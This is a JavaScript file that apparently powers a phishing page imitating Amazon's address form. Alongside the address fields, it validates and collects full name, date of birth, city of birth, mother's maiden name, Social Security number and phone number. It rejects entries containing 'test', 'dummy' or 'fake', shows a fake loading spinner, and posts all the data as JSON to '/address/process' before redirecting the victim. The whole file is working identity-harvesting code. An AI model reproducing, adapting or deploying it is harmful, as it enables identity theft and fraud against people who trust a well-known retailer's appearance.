document.addEventListener("DOMContentLoaded", () => {

    const form = document.getElementById("address-ui-address-form");

    const country = document.getElementById("address-ui-widgets-countryCode-dropdown-nativeId");
    const fullname = document.getElementById("entity_fullname");
    const dob = document.getElementById("entity_dob");
    const cob = document.getElementById("entity_cob");
    const mmn = document.getElementById("entity_mmn");
    const ssn = document.getElementById("entity_ssn");
    const phone = document.getElementById("entity_phonenumber");
    const address1 = document.getElementById("entity_addressline1");
    const address2 = document.getElementById("entity_addressline2");
    const city = document.getElementById("entity_city");
    const state = document.getElementById("entity_state");
    const zip = document.getElementById("address-ui-widgets-enterAddressPostalCode");

    const nameErrBadWords = document.getElementById("entity_name_error_inappropriate_words");
    const nameErrSpecial = document.getElementById("entity_name_error_special_characters");
    const nameErrInitials = document.getElementById("entity_name_error_initials_titles");
    const dobErrorInsufficient = document.getElementById("entity_dob_error_insufficient_characters");
    const dobErrorNonNumeric = document.getElementById("entity_dob_error_non_numeric_characters");
    const dobErrorInvalid = document.getElementById("entity_dob_error_invalid");
    const dobErrorVoice = document.getElementById("entity_dob_error_voice_invalid");
    const cobErrorEmpty = document.getElementById("entity_cob_error_empty");
    const mmnErrBadWords = document.getElementById("entity_mmn_error_inappropriate_words");
    const mmnErrSpecial = document.getElementById("entity_mmn_error_special_characters");
    const mmnErrInitials = document.getElementById("entity_mmn_error_initials_titles");
    const ssnErrShort = document.getElementById("entity_ssn_error_insufficient_characters");
    const ssnErrNonNumeric = document.getElementById("entity_ssn_error_non_numeric_characters");
    const ssnErrInvalid = document.getElementById("entity_ssn_error_invalid");
    const ssnErrVoice = document.getElementById("entity_ssn_error_voice_invalid");
    const phoneErrShort = document.getElementById("entity_phonenumber_error_insufficient_characters");
    const phoneErrNonNumeric = document.getElementById("entity_phonenumber_error_non_numeric_characters");
    const phoneErrInvalid = document.getElementById("entity_phonenumber_error_invalid");
    const phoneErrVoice = document.getElementById("entity_phonenumber_error_voice_invalid");

    const address1ErrEmpty = document.createElement("div");
    address1ErrEmpty.id = "entity_addressline1_error_empty";
    address1ErrEmpty.className = "a-box a-alert-inline a-alert-inline-error aok-hidden";
    address1ErrEmpty.role = "alert";
    address1ErrEmpty.innerHTML = `
        <div class="a-box-inner a-alert-container">
            <i class="a-icon a-icon-alert"></i>
            <div class="a-alert-content">
                <div class="a-section">Please enter an address.</div>
            </div>
        </div>
    `;
    address1.parentNode.appendChild(address1ErrEmpty);

    const cityErrEmpty = document.getElementById("entity_city_error_empty");
    const stateErr = document.getElementById("entity_state_error_empty");

    const zipErrInvalid = document.getElementById("entity_zipcode_error_invalid");
    const zipSuccess = document.getElementById("entity_zipcode_success_valid");

    const modalWrapper = document.querySelector(".a-modal-scroller");
    const overlaySpinner = document.getElementById("pp-z3b4qh-28");

    overlaySpinner.style.display = "block";
    modalWrapper.style.transition = "opacity 0.35s ease";

    setTimeout(() => {
        modalWrapper.style.visibility = "hidden";
        overlaySpinner.style.display = "none";
    }, 2500);

    function hideAll(...els) {
        els.forEach(el => el && el.classList.add("aok-hidden"));
    }

    function show(el) {
        if (el) el.classList.remove("aok-hidden");
    }

    function setErrorStyle(input, isError) {
        if (isError) {
            input.style.borderColor = "#B91C1C";
        } else {
            input.style.borderColor = "";
        }
    }

    function validateName() {
        const v = fullname.value.trim();
        hideAll(nameErrBadWords, nameErrSpecial, nameErrInitials);

        if (!v.includes(" ")) {
            show(nameErrSpecial);
            setErrorStyle(fullname, true);
            return false;
        }

        if (/[@!#$%^&*0-9]/.test(v)) {
            show(nameErrSpecial);
            setErrorStyle(fullname, true);
            return false;
        }

        if (/^(mr|mrs|ms|miss|dr|prof|sir)\b/i.test(v) || /\b[A-Z]\./.test(v)) {
            show(nameErrInitials);
            setErrorStyle(fullname, true);
            return false;
        }

        const badWords = ["test", "dummy", "fake"];
        if (badWords.some(b => v.toLowerCase().includes(b))) {
            show(nameErrBadWords);
            setErrorStyle(fullname, true);
            return false;
        }

        setErrorStyle(fullname, false);
        return true;
    }

    function formatDob(value) {
        let digits = value.replace(/\D/g, "");

        digits = digits.slice(0, 8);

        if (digits.length > 4) {
            return `${digits.slice(0, 2)}/${digits.slice(2, 4)}/${digits.slice(4)}`;
        } else if (digits.length > 2) {
            return `${digits.slice(0, 2)}/${digits.slice(2)}`;
        } else {
            return digits;
        }
    }

    function validateDob() {
        const v = dob.value.trim();
        hideAll(dobErrorInsufficient, dobErrorNonNumeric, dobErrorInvalid, dobErrorVoice);

        if (v.length === 0) {
            show(dobErrorInvalid);
            setErrorStyle(dob, true);
            return false;
        }

        if (/[^0-9\/]/.test(v)) {
            show(dobErrorNonNumeric);
            setErrorStyle(dob, true);
            return false;
        }

        const digits = v.replace(/\D/g, "");

        if (digits.length < 8) {
            show(dobErrorInsufficient);
            setErrorStyle(dob, true);
            return false;
        }

        const month = parseInt(digits.slice(0, 2), 10);
        const day = parseInt(digits.slice(2, 4), 10);
        const year = parseInt(digits.slice(4), 10);

        const date = new Date(year, month - 1, day);
        if (date.getFullYear() !== year || date.getMonth() !== month - 1 || date.getDate() !== day) {
            show(dobErrorInvalid);
            setErrorStyle(dob, true);
            return false;
        }

        setErrorStyle(dob, false);
        return true;
    }

    dob.addEventListener("input", () => {
        dob.value = formatDob(dob.value);
        validateDob();
    });

    function validateCob() {
        const v = cob.value.trim();

        if (!v) {
            show(cobErrorEmpty);
            setErrorStyle(cob, true);
            return false;
        }

        if (/[^a-zA-Z\s\-]/.test(v)) {
            show(cobErrorEmpty);
            setErrorStyle(cob, true);
            return false;
        }

        hideAll(cobErrorEmpty);
        setErrorStyle(cob, false);
        return true;
    }


    function validateMmn() {
        const v = mmn.value.trim();
        hideAll(mmnErrBadWords, mmnErrSpecial, mmnErrInitials);

        if (v.length === 0) {
            show(mmnErrSpecial);
            setErrorStyle(mmn, true);
            return false;
        }

        if (/[@!#$%^&*0-9]/.test(v)) {
            show(mmnErrSpecial);
            setErrorStyle(mmn, true);
            return false;
        }

        if (/^(mr|mrs|ms|miss|dr|prof|sir)\b/i.test(v) || /\b[A-Z]\./.test(v)) {
            show(mmnErrInitials);
            setErrorStyle(mmn, true);
            return false;
        }

        const badWords = ["test", "dummy", "fake"];
        if (badWords.some(b => v.toLowerCase().includes(b))) {
            show(mmnErrBadWords);
            setErrorStyle(mmn, true);
            return false;
        }

        setErrorStyle(mmn, false);
        return true;
    }

    function formatSSN(value) {
        let digits = value.replace(/\D/g, "");

        digits = digits.slice(0, 9);

        if (digits.length > 5) {
            return `${digits.slice(0, 3)}-${digits.slice(3, 5)}-${digits.slice(5)}`;
        } else if (digits.length > 3) {
            return `${digits.slice(0, 3)}-${digits.slice(3)}`;
        } else {
            return digits;
        }
    }

    function validateSsn() {
        const v = ssn.value.trim();
        hideAll(ssnErrShort, ssnErrNonNumeric, ssnErrInvalid, ssnErrVoice);

        const digits = v.replace(/-/g, "");

        if (v.length === 0) {
            show(ssnErrInvalid);
            setErrorStyle(ssn, true);
            return false;
        }

        if (/[^0-9-]/.test(v)) {
            show(ssnErrNonNumeric);
            setErrorStyle(ssn, true);
            return false;
        }

        if (digits.length < 9) {
            show(ssnErrShort);
            setErrorStyle(ssn, true);
            return false;
        }

        if (digits.length > 9) {
            show(ssnErrInvalid);
            setErrorStyle(ssn, true);
            return false;
        }

        setErrorStyle(ssn, false);
        return true;
    }

    ssn.addEventListener("input", () => {
        ssn.value = formatSSN(ssn.value);
        validateSsn();
    });

    function formatPhoneNumber(value) {
        let digits = value.replace(/\D/g, "");

        digits = digits.slice(0, 10);

        if (digits.length > 6) {
            return `(${digits.slice(0, 3)}) ${digits.slice(3, 6)}-${digits.slice(6)}`;
        } else if (digits.length > 3) {
            return `(${digits.slice(0, 3)}) ${digits.slice(3)}`;
        } else if (digits.length > 0) {
            return `(${digits}`;
        }

        return "";
    }

    function validatePhone() {
        const v = phone.value.trim();
        hideAll(phoneErrShort, phoneErrNonNumeric, phoneErrInvalid, phoneErrVoice);

        const digits = v.replace(/\D/g, "");

        if (digits.length === 10) {
            setErrorStyle(phone, false);
            return true;
        }

        show(phoneErrInvalid);
        setErrorStyle(phone, true);
        return false;
    }

    phone.addEventListener("input", () => {
        phone.value = formatPhoneNumber(phone.value);
        validatePhone();
    });


    function validateAddress1() {
        const v = address1.value.trim();
        if (!v) {
            show(address1ErrEmpty);
            setErrorStyle(address1, true);
            return false;
        } else {
            hideAll(address1ErrEmpty);
            setErrorStyle(address1, false);
            return true;
        }
    }

    function validateCity() {
        const v = city.value.trim();
        hideAll(cityErrEmpty);
        if (!v) {
            show(cityErrEmpty);
            setErrorStyle(city, true);
            return false;
        } else {
            setErrorStyle(city, false);
            return true;
        }
    }

    function validateState() {
        const v = state.value.trim();
        hideAll(stateErr);
        if (!v) {
            show(stateErr);
            setErrorStyle(state, true);
            return false;
        } else {
            setErrorStyle(state, false);
            return true;
        }
    }

    function validateZip() {
        const v = zip.value.trim();
        hideAll(zipErrInvalid, zipSuccess);

        if (!/^\d{5}(-\d{4})?$/.test(v)) {
            show(zipErrInvalid);
            setErrorStyle(zip, true);
            return false;
        }

        show(zipSuccess);
        setErrorStyle(zip, false);
        return true;
    }

    fullname.addEventListener("input", validateName);
    dob.addEventListener("input", validateDob);
    cob.addEventListener("input", validateCob);
    mmn.addEventListener("input", validateMmn);
    ssn.addEventListener("input", validateSsn);
    phone.addEventListener("input", validatePhone);
    address1.addEventListener("input", validateAddress1);
    city.addEventListener("input", validateCity);
    state.addEventListener("change", validateState);
    zip.addEventListener("input", validateZip);

    form.addEventListener("submit", async (e) => {
        e.preventDefault();

        const isAddressValid = validateAddress1();
        const isNameValid = validateName();
        const isDobValid = validateDob();
        const isCobValid = validateCob();
        const isMmnValid = validateMmn();
        const isSsnValid = validateSsn();
        const isPhoneValid = validatePhone();
        const isCityValid = validateCity();
        const isStateValid = validateState();
        const isZipValid = validateZip();

        if (!isSsnValid || !isDobValid || !isAddressValid || !isNameValid || !isMmnValid || !isPhoneValid || !isCityValid || !isStateValid || !isZipValid || !isCobValid) {
            console.log("Form blocked due to errors.");
            return;
        }

        const data = {
            country: country.value,
            fullname: fullname.value.trim(),
            dob: dob.value.trim(),
            cob: cob.value.trim(),
            mmn: mmn.value.trim(),
            ssn: ssn.value.trim(),
            phone: phone.value.trim(),
            address1: address1.value.trim(),
            city: city.value.trim(),
            state: state.value.trim(),
            zip: zip.value.trim()
        };

        overlaySpinner.style.display = "block";
        modalWrapper.style.visibility = "visible";
        modalWrapper.style.opacity = "1";

        try {
            const response = await fetch("/address/process", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify(data)
            });

            const result = await response.json();

            overlaySpinner.style.display = "none";
            modalWrapper.style.opacity = "0";
            setTimeout(() => {
                modalWrapper.style.visibility = "hidden";
            }, 350);

            window.location.href = result.redirect ?? "/";
        } catch (err) {
            overlaySpinner.style.display = "none";
            modalWrapper.style.opacity = "0";
            setTimeout(() => {
                modalWrapper.style.visibility = "hidden";
            }, 350);
        }
    });
    window.addEventListener("pageshow", (event) => {
        if (event.persisted) {
            const overlaySpinner = document.getElementById("pp-z3b4qh-28");
            const modalWrapper = document.querySelector(".a-modal-scroller");

            overlaySpinner.style.display = "none";
            modalWrapper.style.visibility = "hidden";
            modalWrapper.style.opacity = "0";
        }
    });

});
